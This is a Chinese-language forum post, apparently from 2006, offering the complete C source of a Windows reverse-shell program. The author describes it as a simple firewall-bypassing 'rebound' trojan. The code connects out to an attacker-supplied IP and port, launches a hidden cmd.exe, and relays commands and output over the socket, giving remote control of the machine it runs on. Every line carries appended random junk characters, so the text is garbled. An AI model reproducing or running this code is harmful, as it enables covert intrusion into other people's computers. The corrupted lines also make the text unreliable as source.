这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J(/J;PW
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/* ==============================
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Rebound port in Windows NT Z]TQ+9t
By wind,2006/7 F02TM#Zi
===============================*/ mk!8>XvM
#include $V?sD{=W
#include Q$]1juqg
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#pragma comment(lib,"wsock32.lib") <bg6k . s
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void OutputShell(); M!!vr8}
SOCKET sClient; LK*9`dzv=G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ts@$*
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void main(int argc,char **argv) z(^dwMw}
{ aBY&]6^-
WSADATA stWsaData; MMET^SO
int nRet; Ps\4k#aOv
SOCKADDR_IN stSaiClient,stSaiServer; F-ofR]|)>
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if(argc != 3) -@#],s7
{ lV4TFt,
printf("Useage:\n\rRebound DestIP DestPort\n"); \eQPvkx2
return; Z+);}>-5
} . a @7
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WSAStartup(MAKEWORD(2,2),&stWsaData); d$+0;D4E
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b3%a4Gg&
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stSaiClient.sin_family = AF_INET; /@&o%I3h
stSaiClient.sin_port = htons(0); !XI9evJw
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); UCj+V@{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BOM0QskLf
{ &{a#8sbf#c
printf("Bind Socket Failed!\n"); |HY{Q1%
return; _<c}iZv@
} ;WYzU`<g
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stSaiServer.sin_family = AF_INET; "o u{bKe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5pY|RV6:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A(`Mwh+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T<Zi67QC@
{ \k=%G_W
printf("Connect Error!"); \21Gg%W5AE
return; MuzQz.C
} R! X+-
OutputShell(); wnXU=
} ttlMZLX{TJ
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void OutputShell() OQ<;w
{ i7 YUyU
char szBuff[1024]; f qWme:x
SECURITY_ATTRIBUTES stSecurityAttributes; ObreDv^,
OSVERSIONINFO stOsversionInfo; Q/j#Pst
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &><b/,]
STARTUPINFO stStartupInfo; DOkuT/+
char *szShell; 7aPA+gA/
PROCESS_INFORMATION stProcessInformation; ]{+Y!tD
unsigned long lBytesRead; vAeVQ~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); e8(Qx3T?b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z }>;@c
stSecurityAttributes.lpSecurityDescriptor = 0; 4:b'VHW.
stSecurityAttributes.bInheritHandle = TRUE; ^x^(Rk}|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W.D>$R2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {KEmGHC4R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RVs=s}|>*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UFj!7gX ]
stStartupInfo.wShowWindow = SW_HIDE; Q~' \oWz
stStartupInfo.hStdInput = hReadPipe; mWn0"1C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eC6wrpZO
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GetVersionEx(&stOsversionInfo); AqaMi
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switch(stOsversionInfo.dwPlatformId) @*UV|$~(Q
{ &=:3/;c
case 1: &Ll&A@yU
szShell = "command.com"; A
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break; WoNY8
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default: m"'`$ /_
szShell = "cmd.exe"; _bgv +/
break; 91q
} JB.U&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^7=7V0>,:
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send(sClient,szMsg,77,0); k6o8'6wN
while(1) Ve)BF1YG
{ 8B(v6(h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5nsoWqnE8
if(lBytesRead) CHD.b%_|
{ e:C4f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Jo~fri([%Q
send(sClient,szBuff,lBytesRead,0); I:UDEoQo
} HTvUt*U1
else iJmzVR+
{ &"hEKIqL
lBytesRead=recv(sClient,szBuff,1024,0); 3hUP>F8
if(lBytesRead<=0) break; DGS,iRLnA
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vry_X2
} 4fjwC,,
} ~(GNY5
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return; "h7Dye
}